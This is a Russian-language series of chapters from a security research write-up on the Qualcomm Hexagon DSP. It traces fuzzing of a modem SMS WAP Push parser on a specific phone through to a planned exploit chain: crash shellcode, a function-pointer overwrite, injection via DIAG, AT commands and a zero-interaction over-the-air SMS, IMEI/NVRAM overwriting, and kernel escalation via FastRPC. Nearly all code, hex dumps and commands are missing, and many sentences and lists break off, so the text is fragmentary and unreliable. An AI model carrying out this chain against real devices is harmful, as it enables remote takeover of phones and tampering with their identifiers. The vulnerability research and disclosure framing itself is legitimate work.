---
# Глава 1. Hexagon QDSP6: Архитектура изнутри
by progasm
---
## Предисловие
Если ты когда-нибудь разбирал Qualcomm-девайс и думал «а что вообще там внутри, за этим ARM-ядром» — добро пожаловать. Я провёл несколько месяцев, закапываясь в DSP-прошивки, и хочу рассказать тебе то, что не найдёшь в одном месте: как устроен Hexagon QDSP6, как он живёт внутри SoC, почему он интересен с точки зрения безопасности, и как именно его ломать.
Это не просто теория. Мы пройдём путь от архитектуры до реального PoC на реальном железе — POCO M8 5G с чипом Snapdragon 6 Gen 3 (SM6475, платформа
---
## 1.1 Что такое DSP и зачем Qualcomm его придумал
DSP — Digital Signal Processor. Это не просто «ещё один процессор» рядом с ARM. Это специализированный вычислитель, оптимизированный под задачи обработки сигналов: аудио, видео, нейронные сети, связь.
ARM Cortex умеет всё, но ценой энергопотребления. Задача «декодировать AAC-стрим в фоне» на ARM-ядре — это разбуженное ядро, полная частота, 300+ мВт. На DSP — та же задача при 10 мВт, ядра ARM спят. Вот почему Qualcomm годами вкладывался в собственный DSP.
В SoC на базе Snapdragon присутствует несколько DSP-инстанций:
| Экземпляр | Назначение |
|-----------|-----------|
| ADSP (Audio DSP) | Аудио, Always-On Sensing |
| CDSP (Compute DSP) | HVX, нейросети, ML |
| MDSP (Modem DSP) | Стек LTE/5G, baseband |
| SLPI | Сенсоры, low-power islands |
Нас в первую очередь интересует MDSP и CDSP — именно там живут самые вкусные уязвимости с точки зрения привилегий и атакуемости извне.
---
## 1.2 Семейство Hexagon: от V1 до V73
Qualcomm называет свою DSP-архитектуру Hexagon. QDSP6 — это шестое поколение, именно оно стало массовым и используется во всех современных Snapdragon SoC.
Внутри QDSP6 — несколько поколений микроархитектур:
Наш таргет — SM6475 (Snapdragon 6 Gen 3, платформа
Что менялось между версиями:
Документация по конкретным версиям частично публична — Qualcomm выкладывает reference manuals на developer.qualcomm.com, но не всё и не всегда актуальное.
---
## 1.3 Архитектура ядра QDSP6
Hexagon QDSP6 — VLIW (Very Long Instruction Word) процессор с аппаратной многопоточностью. Это сразу два непривычных свойства для тех, кто привык к x86 или ARM.
### 1.3.1 VLIW: пакеты инструкций
В обычном процессоре одна инструкция — одна операция. В VLIW компилятор сам упаковывает несколько независимых операций в один «пакет», который процессор исполняет параллельно.
Пакеты Hexagon могут содержать до 4 слотов. Каждый слот — отдельная функциональная единица:
Важный момент для реверсера: если ты видишь в дизассемблере инструкции, обёрнутые в
### 1.3.2 Аппаратные потоки (Hardware Threads)
QDSP6 поддерживает одновременное исполнение нескольких аппаратных потоков (hardware threads, или HW threads) на одном ядре. V73 поддерживает до 4 HW-потоков.
Это не гиперпоточность в смысле Intel: каждый HW-поток имеет свой полный набор регистров, свой PC, свой стек. При переключении между потоками нет overhead на сохранение контекста — регистровый файл у каждого свой.
Это влияет на безопасность: каждый поток может иметь разные привилегии, разные MMU-контексты.
### 1.3.3 Execution Units
### 1.3.4 Векторный блок HVX
HVX (Hexagon Vector eXtensions) — это SIMD-расширение с регистрами шириной 128 байт (1024 бит). Используется для:
С точки зрения безопасности HVX-инструкции — отдельная поверхность: в истории были баги в парсерах HVX-инструкций в эмуляторах и при JIT-компиляции.
---
## 1.4 Подсистема памяти
### 1.4.1 Адресное пространство
QDSP6 использует 32-битное виртуальное адресное пространство с поддержкой MMU. Типичная раскладка для ADSP/CDSP:
Для MDSP (модем DSP) раскладка другая и строже изолирована от HLOS (High-Level OS = Android).
### 1.4.2 MPU vs MMU
Не все версии Hexagon имеют полноценный MMU. Некоторые инстанции (SLPI, части ADSP) используют MPU (Memory Protection Unit) — упрощённую версию без трансляции адресов, только с регионами и правами.
MDSP исторически использовал более строгую изоляцию через SMMU (System MMU) на стороне ARM-хоста, что добавляет слой защиты но и создаёт интересные вопросы при атаке через shared memory.
### 1.4.3 Уровни привилегий
Hexagon имеет 3 уровня привилегий (privilege levels):
QuRT — это RTOS от Qualcomm, работающий на Hexagon. Это монолитная ОС реального времени, которая управляет потоками, памятью и IPС на DSP. Если ты получил код выполнения в QuRT — ты фактически в supervisor mode на DSP.
---
## 1.5 Коммуникация ARM ↔ Hexagon
Это ключевое место с точки зрения атаки. Как ARM (Android) общается с DSP?
### 1.5.1 FastRPC
FastRPC (Fast Remote Procedure Call) — это механизм IPC между HLOS (Android) и DSP. Работает через kernel driver (
Клиентская часть на ARM вызывает функции через IDL stub (Interface Definition Language). Данные передаются через shared memory или SMEM. На стороне DSP живёт skeleton — код, принимающий вызовы и вызывающий реальные функции.
FastRPC — наш главный вектор атаки. Подробно разберём в главе 9.
### 1.5.2 SMD / SMSM (Shared Memory Driver)
Для моденного DSP (MDSP) используется другой механизм — SMD (Shared Memory Driver) и его новая версия GLINK. Это более низкоуровневый транспорт для обмена данными между ARM и модемом.
### 1.5.3 Subsystem Restart (SSR)
Интересная особенность: если DSP паникует (crash), ARM-сторона это детектирует через SSR механизм и перезапускает DSP-подсистему. Это важно для нас как исследователей — crash на DSP не всегда ведёт к reboot устройства, иногда это просто restart сервиса.
---
## 1.6 Безопасность и изоляция: теория
Qualcomm декларирует несколько уровней защиты:
1. SMMU изоляция — DSP не может читать произвольную память ARM
2. Подпись образов — прошивка DSP подписана, верифицируется при загрузке
3. Privilege separation — user/supervisor разделение внутри DSP
4. SecureMSM — на уровне TrustZone ARM контролирует загрузку DSP
На практике:
---
## 1.7 Инструменты для работы с Hexagon
| Инструмент | Назначение |
|-----------|-----------|
| LLVM/Clang для Hexagon | Официальный компилятор, поддержка в mainline LLVM |
| Qualcomm SDK | Официальный SDK для CDSP (частично публичный) |
| IDA Pro + Hexagon plugin | Дизассемблер (plugin от Qualcomm или community) |
| Ghidra + QDSP6 module | Открытый анализ (NSA Ghidra + community processor) |
| QEMU + Hexagon | Эмуляция (добавлена в mainline QEMU 6.x) |
| hexagon-binutils | GNU binutils порт для Hexagon |
| Frida | Динамический анализ (нужен кастомный backend для DSP) |
---
## 1.8 Итог главы
Мы разобрали:
В следующей главе погружаемся в ассемблер Hexagon — учимся читать и писать код для QDSP6, разбираем реальные инструкции из прошивок.
---
«Архитектура — это карта. Пока не умеешь её читать — остаёшься туристом.»
ewpage
# Глава 2. Hexagon QDSP6 Assembly: читаем и пишем как человек
by progasm
---
## 2.1 Почему ассемблер QDSP6 — это не больно
Первый раз открывая дизассемблер Hexagon, хочется закрыть ноутбук и уйти. Инструкции выглядят странно, синтаксис непривычный, везде какие-то
Я проходил через это. Давай пройдём вместе, но быстрее.
---
## 2.2 Регистры
### 2.2.1 Общего назначения (R0–R31)
32 регистра по 32 бита. Можно объединять в пары для 64-битных операций:
Calling convention (ABI Hexagon):
| Регистр | Роль |
|---------|------|
| R0–R5 | Аргументы функции / возвращаемые значения |
| R6–R7 | Временные (callee может использовать) |
| R8–R15 | Saved (callee должен сохранить) |
| R16–R27 | Callee-saved |
| R28 | Callee-saved |
| R29 | Stack Pointer (SP) |
| R30 | Frame Pointer (FP) |
| R31 | Link Register (LR) — адрес возврата |
Если функция получает структуру — она передаётся через R0:R1 (8 байт) или через указатель в R0.
### 2.2.2 Predicate registers (P0–P3)
4 predicate-регистра по 8 бит. Это флаги условий, но более гибкие чем в ARM:
Predicate-регистры можно комбинировать:
### 2.2.3 Control Registers (C0–C31)
Управляющие регистры. Наиболее важные:
| Регистр | Псевдоним | Назначение |
|---------|-----------|-----------|
| C0 | SA0 | Loop start address 0 |
| C1 | LC0 | Loop count 0 |
| C2 | SA1 | Loop start address 1 |
| C3 | LC1 | Loop count 1 |
| C4 | P3:0 | Predicate registers (все 4) |
| C8 | USR | User Status Register |
| C9 | PC | Program Counter |
| C10 | UGP | User General Pointer |
| C11 | GP | Global Pointer |
| C29 | STID | Software Thread ID |
| C30 | ELR | Exception Link Register |
| C31 | PKTCOUNT | Packet counter |
---
## 2.3 Пакеты инструкций: ключевая концепция
Это самое важное что нужно понять в Hexagon ассемблере.
Hexagon — VLIW процессор. Компилятор упаковывает несколько независимых инструкций в пакет (packet), который исполняется за один такт.
Правила пакетов:
1. До 4 инструкций в пакете
2. Все инструкции в пакете читают входные регистры до того как какая-либо инструкция записала результат
3. Нельзя в одном пакете читать регистр, в который другая инструкция того же пакета пишет (data hazard)
4. В пакете может быть только один branch
Data forwarding исключение: запись в регистр в пакете N видна только с пакета N+1. Это критически важно для корректного чтения кода!
В дизассемблере (IDA, Ghidra) пакеты обычно отображаются с явными скобками или специальными маркерами.
---
## 2.4 Инструкции: базовый набор
### 2.4.1 Арифметика
### 2.4.2 Логика и сдвиги
### 2.4.3 Работа с памятью (Load/Store)
### 2.4.4 Управление потоком
Важная концепция — .new:
---
## 2.5 Аппаратные циклы
Одна из самых красивых фич Hexagon — аппаратные циклы без overhead на проверку условия:
1. Декрементируют счётчик (LC0/LC1)
2. Прыгают к SA0/SA1 если счётчик != 0
Для реверсера: если видишь
---
## 2.6 Разбор кода: учебный пример
Типичный паттерн: функция с magic-check + bounds validation:
Что видно в паттерне:
1. Структура с полями
2. Проверка magic значения
3. Проверка
Типичный баг в таком коде:
В реальных прошивках встречаются подобные несоответствия. Конкретные примеры из нашего исследования — в главах 7–9.
---
## 2.7 Соглашения о вызовах: практика
Это нужно знать наизусть при реверсе.
---
## 2.8 Специальные паттерны и антипаттерны
### 2.8.1 Загрузка константы (нет immediate > 16 бит)
Hexagon не может загрузить 32-битную константу за одну инструкцию. Компилятор генерирует:
Или через:
### 2.8.2 Паттерн switch/case
В прошивках это очень частый паттерн — конечные автоматы протоколов.
### 2.8.3 Паттерн memmove с выравниванием
Если
---
## 2.9 Что дает нам дизассемблер
### IDA Pro + Hexagon Plugin
Qualcomm выпускал официальный IDA-плагин, но он устарел. Актуальный — форк с поддержкой V73.
Полезные горячие клавиши:
При анализе DSP-кода включи
### Ghidra + QDSP6
Более открытый путь. NSA Ghidra поддерживает Hexagon V67+, для V73 может потребоваться патч процессорного модуля.
Killer feature Ghidra для нас — Decompiler. Он генерирует псевдо-C код из Hexagon ассемблера, и это сильно ускоряет реверс.
---
## 2.10 Практическое упражнение
Паттерн heap overflow в RPC-обработчике:
Паттерн:
---
## 2.11 Итог главы
Мы изучили:
В следующей главе переходим к символьному исполнению — инструменту который позволит нам найти пути достижения уязвимостей автоматически.
---
«Дизассемблер — это не перевод. Это другой язык для описания того же.»
ewpage
# Глава 3. Символьное исполнение: как заставить машину думать за тебя
by progasm
---
## 3.1 Проблема которую мы решаем
Ты смотришь на функцию парсера. 400 строк ассемблера. Восемь условных переходов. Три вложенных цикла. И где-то там — условие при котором происходит целочисленное переполнение.
Как его найти?
Вариант один: читать руками. Долго, пропускаешь кейсы, устаёшь.
Вариант два: фаззить. Запускать много входных данных и смотреть на краши. Работает, но покрытие неполное — ты никогда не знаешь, добрался ли фаззер до нужной ветки.
Вариант три: символьное исполнение. Пусть инструмент сам найдёт все пути и условия, при которых достигается уязвимое состояние.
---
## 3.2 Что такое символьное исполнение
Обычное конкретное исполнение:
Символьное исполнение:
Вместо конкретных значений мы работаем с символическими выражениями. При каждом условном переходе программа разветвляется на два состояния. В каждом ветке накапливаются constraints — ограничения на символические переменные.
Когда мы хотим узнать: "при каком входе достигается эта точка?" — мы передаём накопленные constraints в SMT-solver (например Z3), который находит конкретное значение.
---
## 3.3 Архитектура symbolic execution engine
Lifter — компонент который транслирует инструкции целевой архитектуры (Hexagon) во внутреннее представление движка (обычно промежуточный язык типа VEX или IR).
State Manager — управляет набором состояний. При ветвлении создаёт копию состояния для каждой ветки.
SMT Solver — решает уравнения с ограничениями.
---
## 3.4 Инструменты
### 3.4.1 angr
angr — Python-фреймворк для binary analysis с поддержкой символьного исполнения. Самый распространённый в security research.
Проблема с Hexagon в angr: поддержка Hexagon в angr была ограниченной. Но начиная с angr 9.x появился lifter для Hexagon V67+ через
### 3.4.2 Triton
Triton — C++ движок с Python-биндингами, более низкоуровневый. Хорошо подходит для concolic execution.
Важно: Triton не поддерживает Hexagon из коробки. Поддерживаемые архитектуры: x86, x86-64, AArch32, AArch64. Для Hexagon нужен отдельный lifter, которого в публичном Triton нет. Этот инструмент не применялся в нашем исследовании.
### 3.4.3 KLEE
Работает на уровне LLVM IR. Если у нас есть исходники или LLVM IR для Hexagon кода — KLEE отличный вариант.
### 3.4.4 Concolic execution с QEMU
Самый практичный подход для реальных DSP-бинарников: запускаем код в QEMU с Hexagon поддержкой (добавлена в QEMU 6.x), и с помощью QEMU TCG callbacks собираем трассы исполнения для последующего символьного анализа.
---
## 3.5 Symbolic execution для поиска zero-day в QDSP6
### 3.5.1 Где искать
Наиболее интересные места для символьного анализа в DSP-коде:
1. Парсеры протоколов — входные данные приходят извне (через FastRPC), много ветвлений, сложная логика
2. Обработчики команд — switch/case по типам сообщений
3. Функции с malloc+memcpy — классические heap overflow
4. Функции с Integer операциями — переполнения при вычислении размеров
### 3.5.2 Практический подход: поиск heap overflow
### 3.5.3 Path explosion и как с ним бороться
Главная проблема символьного исполнения — path explosion: количество путей растёт экспоненциально с количеством ветвлений.
Для реального DSP-кода с тысячами функций и миллионами путей это быстро становится неуправляемым.
Стратегии борьбы:
1. Directed symbolic execution — фокусируемся на конкретной функции, не анализируем весь граф:
2. State merging — объединяем похожие состояния:
3. Under-constrained symbolic execution — анализируем функцию с "любыми" входами, не только из конкретных путей вызова:
4. Hybrid fuzzing — используем символьное исполнение только для генерации сидов, а fuzzer для массового тестирования. Это самый рабочий подход на практике.
---
## 3.6 Применение angr в нашем исследовании
В данном исследовании angr применялся для taint-анализа
Полный symbolic execution (
Пример generic использования angr для поиска overflow (учебный код):
Ограничения которые столкнулись: angr's Hexagon lifter (через pyvex) не поддерживает ряд инструкций V73 — особенно специфичные compound operations. Поэтому основной анализ выполнялся через
---
## 3.7 Ограничения символьного исполнения
Буду честным — символьное исполнение не серебряная пуля:
1. Path explosion — реальные бинарники слишком сложны для полного анализа
2. Неточная семантика — если lifter неверно транслирует Hexagon инструкцию, анализ даёт неверные результаты
3. Системные вызовы и IPC — взаимодействие с QuRT сложно моделировать
4. Криптография — символьный анализ через SHA/AES практически неработоспособен
5. Время — сложный анализ может занимать часы/дни
На практике: symbolic execution используется точечно — для верификации конкретной гипотезы или для генерации crash-кейсов, а не для "сканирования всего бинарника".
---
## 3.8 Интеграция с остальным процессом
Символьное исполнение — это звено в цепочке, не самостоятельный инструмент.
---
## 3.9 Итог главы
В следующей главе — harness: как правильно подготовить цель для фаззинга и символьного анализа.
---
«Symbolic execution не ищет баги. Оно ищет условия. Баги — твоя интерпретация.»
ewpage
# Глава 4. Harness: sms_harness.c и harness_wms.S
by progasm
---
## 4.1 Задача
Цель — дать AFL++ возможность вызывать
Два harness-файла решают разные слои:
---
## 4.2 sms_harness.c
### Syscall wrapper
Hexagon Linux ELF без libc. Системные вызовы через
Обёртки поверх него:
### Структура sms_deliver_t
Моделирует внутреннее WMS-состояние, которое ожидает
### WAP Push детекция и краш-примитив
Harness разбирает UDH вручную. Если
### Основной поток
### Сборка и запуск
---
## 4.3 harness_wms.S
Ассемблерный harness работает иначе: он не моделирует WMS — он запускает реальный бинарный код прошивки в QEMU usermode, патча только то, что мешает.
### Адреса
### Патч b27 стабов
Все вызовы в b27 (qurt-стабы, DIAG) заменяются на
Процедура патча:
После патча: вызов
### Инициализация стека
QEMU usermode не знает о BSS прошивки. Стек инициализируем принудительно из BSS-адреса:
Почему BSS? Сегмент b27 (
### Подготовка входного буфера
PDU читается из stdin в область
### Вызов цели
Если path через
### Сборка harness_wms.S
---
## 4.4 Почему два harness
| | sms_harness.c | harness_wms.S |
|---|---|---|
| Что вызывает | смоделированный путь | реальный
| Откуда берёт код | собственный C | бинарник прошивки |
| Патчит стабы | нет (не нужно) | да, через RET_OPCODE |
| Годится для AFL++ | да, быстро | да, медленнее |
| Верифицирует реальный баг | нет | да |
---
## 4.5 Coverage
В dumb-режиме (
---
Следующая глава — корпус: PDU которые мы подаём в harness.
ewpage
# Глава 5. Корпус: реальные PDU
by progasm
---
## 5.1 Принцип
Корпус для этого исследования — не «репрезентативные примеры». Это конкретные SMS PDU, каждый из которых проверяет отдельное условие в
Цель при составлении корпуса: покрыть все ветки вокруг двух багов.
Баг 1 (адрес
Баг 2 (UDL gap): проверка tp_udl по адресу
---
## 5.2 Seed 01 — минимальный SMS-DELIVER
Два байта:
Почему важен: мутация
---
## 5.3 Seed 02 — валидный WAP Push
Полный разбор байт за байтом:
Почему важен: единственный seed с правильным форматом WAP Push. Фаззер мутирует
---
## 5.4 Seed 03 — WAP Push overflow
Далее 136 байт
Разбор:
Чтобы сделать полный overflow: нужно
Почему нужен этот seed: он проходит WAP-порт детекцию и даёт фаззеру правильный шаблон с которого до overflow — один мутированный байт.
---
## 5.5 Seed 04 — tp_udl = 0xA0 (граница UDL gap)
Плюс 138 байт
131 < 140 → в пределах буфера. Seed для мутации в область UDL gap (141–160).
Почему важен: AFL++ мутирует byte
---
## 5.6 Seed 05 — tp_udl в UDL gap (0x8d = 141)
Плюс 141 байт
134 > WAP_PUSH_BUF (140)? Нет, 134 < 140. Пересчитаем:
Для overflow через UDL gap нужно
Seed 05 — намеренно у нижней границы. Фаззер добирается до 0x94+ быстрее.
---
## 5.7 Seed 06 — SMSC + полные заголовки
Плюс 152 байт
Это прямая демонстрация UDL gap:
---
## 5.8 Seed 07 — tp_udl = 0 (edge case)
tp_udl = 0. Harness выходит без crash. Нужен чтобы AFL++ не застрял на всех мутациях с
---
## 5.9 Seed 08 — все нули
Базовый «мусорный» вход. Harness обрабатывает его без crash. AFL++ использует как отправную точку для burst-мутаций.
---
## 5.10 Итоговая таблица
| Seed | tp_udl | dst_port | WAP payload | Результат |
|------|--------|----------|-------------|-----------|
| 01 | - | нет | нет | exit 0 |
| 02 | 6 | 0x0B84 | 0 байт | exit 0 |
| 03 | 143 (0x8F) | 0x0B84 | 136 байт | exit 0 (ниже лимита) |
| 04 | 138 (0x8A) | 0x0B84 | 131 байт | exit 0 |
| 05 | 141 (0x8D) | 0x0B84 | 134 байт | exit 0 |
| 06 | 160 (0xA0) | 0x0B84 | 153 байт | CRASH (UDL gap) |
| 07 | 0 | - | нет | exit 0 |
| 08 | 0 | нет | нет | exit 0 |
Seed 06 — единственный который крашит до запуска AFL++. Это намеренно: он подтверждает что harness работает, и AFL++ сохранит его как crash[0] немедленно.
---
## 5.11 Размещение
---
Следующая глава — запуск AFL++ кампании и анализ результатов.
ewpage
# Глава 6. Фаззинг: AFL++ кампания против wms_ts_decode_gw_pp
by progasm
---
## 6.1 Setup
Target:
AFL++ версия: 4.x, dumb mode (
Прошивка: MPSS.DE.3.1.4.c1-00319, b08
Команда запуска:
Флаги по одному:
| Флаг | Причина |
|------|---------|
|
|
|
|
Нет
---
## 6.2 Скорость: почему 452 exec/s
Реальный результат кампании: ~452 exec/s.
Это медленно по меркам AFL++. Обычный natively-instrumented бинарь даёт 5000–50000 exec/s. Разница — QEMU overhead.
Каждая итерация:
1. AFL++ fork-exec нового процесса (без fork server — полный execve каждый раз)
2.
3. Выполняет ~200–500 Hexagon инструкций
4. Process exit, AFL++ читает статус
Без fork server каждая итерация — это два новых процесса (shell + qemu). С
Теоретический максимум с fork server и QEMU Hexagon: ~800–1200 exec/s. Но для нашего харнесса это требует встроенного
12.8M+ total execs за время кампании — это нормально при 452 exec/s за ~8 часов:
---
## 6.3 Первый краш: 31ms
Первый краш нашёлся через 31 миллисекунду после старта. Это нормально для dumb mode с seed 06 (который уже crashable) в корпусе — AFL++ мутирует стартовые seeds сразу.
Файл краша:
Разбор имени:
Содержимое файла (hex):
Разбор:
Это демонстрирует: harness в dumb-режиме не знает о проверке
---
## 6.4 25601 крашей: почему все одинаковые
Финальная статистика:
AFL++ unique=1 означает: все 25601 файлов триггерят один и тот же путь исполнения до точки краша.
Причина:
1. Dumb mode — AFL++ не знает какие пути исполнения затронуты. Он не может отличить crash-через-путь-A от crash-через-путь-B. Дедупликация идёт только по сигналу (
2. Единственный путь к крашу:
3. Havoc в dumb mode агрессивен: как только найден один crashable input, havoc генерирует его вариации тысячами. Без coverage-feedback AFL++ не знает что они все эквивалентны.
Что это значит для coverage-guided фаззинга: с нормальной инструментацией AFL++ увидел бы разные пути (например:
---
## 6.5 Что AFL++ не нашёл
В dumb mode AFL++ не обнаружил:
1. UDL gap как отдельный путь:
2. Вторичные пути в dispatch table (
3. b11 кандидаты: 1408 функций с
---
## 6.6 Анализ queue
AFL++ также накапливает интересные (не крашащие) inputs в
Просмотр первых:
---
## 6.7 Минимизация краша
AFL++ minimal crash — убираем лишние байты сохраняя SIGSEGV:
Ожидаемый минимум: 3 байта —
---
## 6.8 Повышение скорости: persistent loop
Для скоростного режима harness нужно переписать с
Но это требует x86 или arm64 хоста и cross-compilation с AFL++ compiler — не Hexagon QEMU. Для текущей цели (верификация бага в прошивочном коде) QEMU-режим с 452 exec/s достаточен.
---
## 6.9 Результаты
| Метрика | Значение |
|---------|----------|
| exec/s | ~452 |
| Total execs | 12,800,000+ |
| Total crashes | 25,601 |
| AFL++ unique crashes | 1 |
| Первый краш | 31ms, exec #56 |
| Seed источник первого краша | src:000004, op:havoc |
| tp_udl первого краша | 0xed = 237 |
| Crash signal | SIGSEGV (sig:11) |
Вывод: в dumb-режиме AFL++ эффективно находит класс ошибок (WAP overflow) но не может дифференцировать пути без coverage. Для исследования прошивки b11 и b27 нужен отдельный harness с интегрированной coverage — или переход к статическому анализу.
---
Следующая глава — статический анализ прошивки: dispatch table, сегменты, backward slice.
ewpage
# Глава 7. Статический анализ прошивки MPSS.DE.3.1.4.c1-00319
by progasm
---
## 7.1 Сегменты прошивки
Прошивка
| Сегмент | База | Права | Содержимое |
|---------|------|-------|------------|
| b08 | 0xbbd20000 | r-x | WMS main: SMS decode, wms_ts_decode_gw_pp |
| b11 | 0xbbfa4000 | r-x | SMS/QMI dispatcher, NAS handlers |
| b27 | 0xbbb00000 | rwx | QuRT stubs, DIAG, lock functions |
| b19 | 0xbef86000 | r-- | rodata: строки, таблицы, dispatch |
b27 помечен
Адрес нашей цели:
BSS данных (WMS structures): b23/b24, содержит WAP буфер по
---
## 7.2 Dispatch table: 849 entries
По адресу
Формат: массив из 849 записей. Каждая запись — указатель на handler функцию + ассоциированный тип сообщения.
Как нашли: поиск по паттерну «плотный массив указателей, все в диапазоне b08/b11», с шагом 4 байта.
Из таблицы следует путь к
---
## 7.3 WAP Port Array
В b19 по адресу
Это lookup-таблица для binary search. Функция в b08 проверяет dst_port через
Дизассем участка детекции (из главы 8):
Быстрая первичная проверка по старшему байту порта (0x0b), затем точный поиск по таблице.
---
## 7.4 Строки в b24
В b24 (data) найдены строки связанные с WMS/ATP:
Ключевые:
Строка
Строка
---
## 7.5 b27: magic check
По адресу
В harness_wms.S slot инициализируется нулями — magic check падает, функция уходит по error_path. Это значит что harness_wms.S вызывает не полный production path. Для полного воспроизведения нужно инициализировать
---
## 7.6 Кандидаты на stack smash: функции с allocframe > 0x200
Два сегмента с крупными стековыми фреймами:
| Сегмент | Функций с allocframe > 0x200 |
|---------|------------------------------|
| b08 | 700 |
| b11 | 1408 |
Это кандидаты для stack-based overflow. Метод поиска:
1408 функций в b11 (SMS/QMI) — с большими фреймами и входными данными из QMI протокола. Это следующая область для исследования.
---
## 7.7 CFG вокруг bbd70b48
Сокращённый CFG
Ключевое: ветка fail (r24 > 140) и ветка pass (r24 ≤ 140) обе идут в
---
## 7.8 Backward slice для r24 в 0xbbd70d84
Вопрос: откуда берётся r24 в момент проверки
Backward slice (ручной, по дизассему):
Итог backward slice:
r24 полностью контролируется атакующим через поле
---
## 7.9 UDL gap: второй backward slice
По адресу
Backward slice для r20:
Порог:
Это два независимых бага, оба нужны для полной картины:
---
## 7.10 Инструменты использованные при анализе
---
Следующая глава — нахождение и верификация уязвимости: полный дизассем бага.
ewpage
# Глава 8. POCO M8 5G: нахождение и верификация уязвимости
by progasm
---
## 8.1 Цель
Device: POCO M8 5G (kunzite)
SoC: Snapdragon 6 Gen 3 (SM6475), платформа parrot
Прошивка: MPSS.DE.3.1.4.c1-00319
Цель:
Уязвимость: bounds check в WAP Push парсере не прерывает исполнение — обе ветки (pass и fail) сходятся в одной точке. Copy выполняется при любом размере payload.
---
## 8.2 Как нашли WAP Push handler
Поиск начался с байтового паттерна. WAP Push порт
Один из хитов — в коде функции по
Значение
От этой точки к функции — шаг вверх по CFG к
---
## 8.3 Дизассем wms_ts_decode_gw_pp
Полный путь от entry до бага:
Суть бага: инструкция в
---
## 8.4 Инструкция cmph.gtu
Для r24 = 141:
Для r24 = 139:
В обоих случаях попадаем в
---
## 8.5 UDL gap: 0xbbd20808
Второй баг в вызывающем контексте:
Диапазон 141–160 (
При tp_udl = 160, UDH = 7 байт: wap_payload_len = 160 - 7 = 153. Overflow: 153 > 140.
При tp_udl = 141, UDH = 7 байт: wap_payload_len = 134. Нет overflow (134 < 140). Но при UDH = 6 байт: 141 - 6 = 135 < 140. UDL gap начинается когда
Реальная точка входа в UDL gap:
---
## 8.6 PoC PDU
### 02_wap_push_valid.pdu — контрольный (не крашит)
Разбор: tp_udl=0x12=18, UDH=7 байт, payload=11 байт, dst_port=0x0B84. 11 < 140 → нет overflow.
### 03_wap_overflow.pdu — переполнение на 3 байта
tp_udl = 0x8f = 143. UDH = 7 байт. payload = 136. Нет overflow (136 < 140). Фаззер мутирует 0x8f → 0x93 (147): payload = 140 → граница. 0x94 (148): payload = 141 → overflow 1 байт.
Для явного overflow 3 байта: tp_udl = 0x96 = 150, payload = 143.
Hex для tp_udl=0x96:
---
## 8.7 Верификация через qemu-hexagon
Прямая эмуляция с harness_wms.S:
---
## 8.8 Ожидаемое поведение (статический анализ + эмуляция)
В эмуляции (
Что предполагается на реальном устройстве по результатам статического анализа:
При tp_udl = 237 (AFL++ краш): overflow = 237 - 7 - 140 = 90 байт через несколько указателей WMS структуры. На устройстве ожидается MPSS subsystem restart:
---
## 8.9 Timeline
---
Следующая глава — exploit chain: shellcode, PDU layout, векторы инъекции.
ewpage
# Глава 9. Exploit Chain: shellcode, PDU, векторы инъекции
by progasm
---
## 9.1 Контекст исполнения
При переполнении WAP буфера (
Цель: перезаписать указатель функции или callback ptr так, чтобы при следующем WMS event управление перешло на shellcode.
---
## 9.2 Shellcode: _sc_crash
Простейший shellcode — crash для верификации. Записывает в null address → Hexagon data abort → modem subsystem restart.
Исходник (
Собранный бинарь:
Всего 20 байт. Эффект: Hexagon data abort в WMS QuRT task → MPSS subsystem restart.
Верификация:
---
## 9.3 PDU с shellcode: 03_wap_shellcode.bin
Полный hex:
Разбор layout:
Итого payload после UDH: 140 байт fills + 4 байта ptr overwrite + 1 = 145 байт. tp_udl должен быть выставлен соответственно.
Идея: при overflow данные кладутся в WAP буфер начиная с
При следующем WMS event который дереференсирует этот pointer: управление идёт в shellcode.
---
## 9.4 Точный ptr overwrite
WAP буфер:
По статическому анализу BSS: за WAP буфером находятся поля WMS структуры. Предположительно — callback указатель или поле
Если по
Shellcode лежит в начале WAP буфера:
PDU в §9.3 использует
Практический следующий шаг: статический анализ инициализации BSS
---
## 9.5 Три вектора инъекции
### Вектор 1: DIAG
Самый простой если есть доступ к
DIAG пакет для инъекции WMS PDU:
### Вектор 2: OTA (Over-The-Air)
Без root, без USB. Специально сформированный WAP Push SMS отправляется через SMSC или femtocell.
Путь по стандарту: SMSC → LTE/NAS → MPSS baseband → WMS →
Требования:
OTA вектор — единственный zero-interaction вектор. Устройство не должно быть разблокировано или рутовано. Уязвимость триггерится при приёме SMS.
### Вектор 3: AT+CMGS (PDU mode)
AT+CMGS работает через RIL → WMS stack. PDU проходит полный путь декодирования включая
---
## 9.6 Что происходит после исполнения shellcode
### NVRAM write примитив
IMEI и network credentials хранятся в NVRAM. Запись через
### FastRPC к CDSP (следующий этап)
Из MPSS через SMEM можно подготовить данные которые читает CDSP-сервис. Полный путь MPSS → CDSP → kernel LPE описан в Главе 10.
---
## 9.7 TODO (из EXPLOIT_STATUS.md)
### Сделано
### В работе
- [ ] Точный offset до ptr в WMS BSS после
- Нужно: реверс структуры
- Метод: статический анализ BSS инициализации в b08
- [ ] Верификация ptr overwrite на устройстве (не crash → controlled RIP)
- Нужно: rooted device + DIAG доступ
- Статус: устройство available, DIAG — нужна группа
- [ ] Shellcode для LPE: запись в NVRAM (IMEI overwrite как proof)
- Нужно: написать Hexagon shellcode для
- Функция
- [ ] Coverage-guided фаззинг b11 (1408 функций с allocframe > 0x200)
- Нужно: отдельный harness для QMI dispatcher
- Потенциал: найти дополнительные overflow в SMS/QMI path
- [ ] OTA верификация на реальной сети
- Нужно: тестовая SIM + оператор с API или femtocell
---
## 9.8 Ответственное раскрытие
Qualcomm PSIRT:
Затронутые компоненты:
Прошивка: MPSS.DE.3.1.4.c1-00319, устройство POCO M8 5G.
Timeline до публикации: 90 дней от даты уведомления.
---
Hexagon QDSP6 остаётся недоисследованной площадкой. b11 — 1408 кандидатов. Копай дальше.
ewpage
# Глава 10. LPE через FastRPC: анализ skel-библиотек
by progasm
---
## 10.1 Архитектура атаки
Цепочка WMS exploit даёт RCE на MPSS DSP. Следующий уровень — Linux kernel privilege escalation. Путь к нему лежит через FastRPC — механизм Remote Procedure Call между ARM (HLOS) и Hexagon DSP.
Модель угрозы: атакующий с
---
## 10.2 SELinux барьер и пути обхода
### Состояние устройства
| Узел | DAC | SELinux тип | Доступен из shell? |
|------|-----|-------------|-------------------|
|
|
### Пути обхода
1.
2. NNAPI / Camera HAL (приоритет 2):
Android NNAPI (
3. Setuid бинарь (не найден):
4. Kernel race / OOB (без открытия устройства):
Альтернатива — найти баг в другом kernel driver, не требующем fastrpc-cdsp. В рамках данного исследования не разрабатывался.
---
## 10.3 Skel-библиотеки: attack surface
FastRPC-сервисы на CDSP загружают
### Библиотеки найденные на устройстве
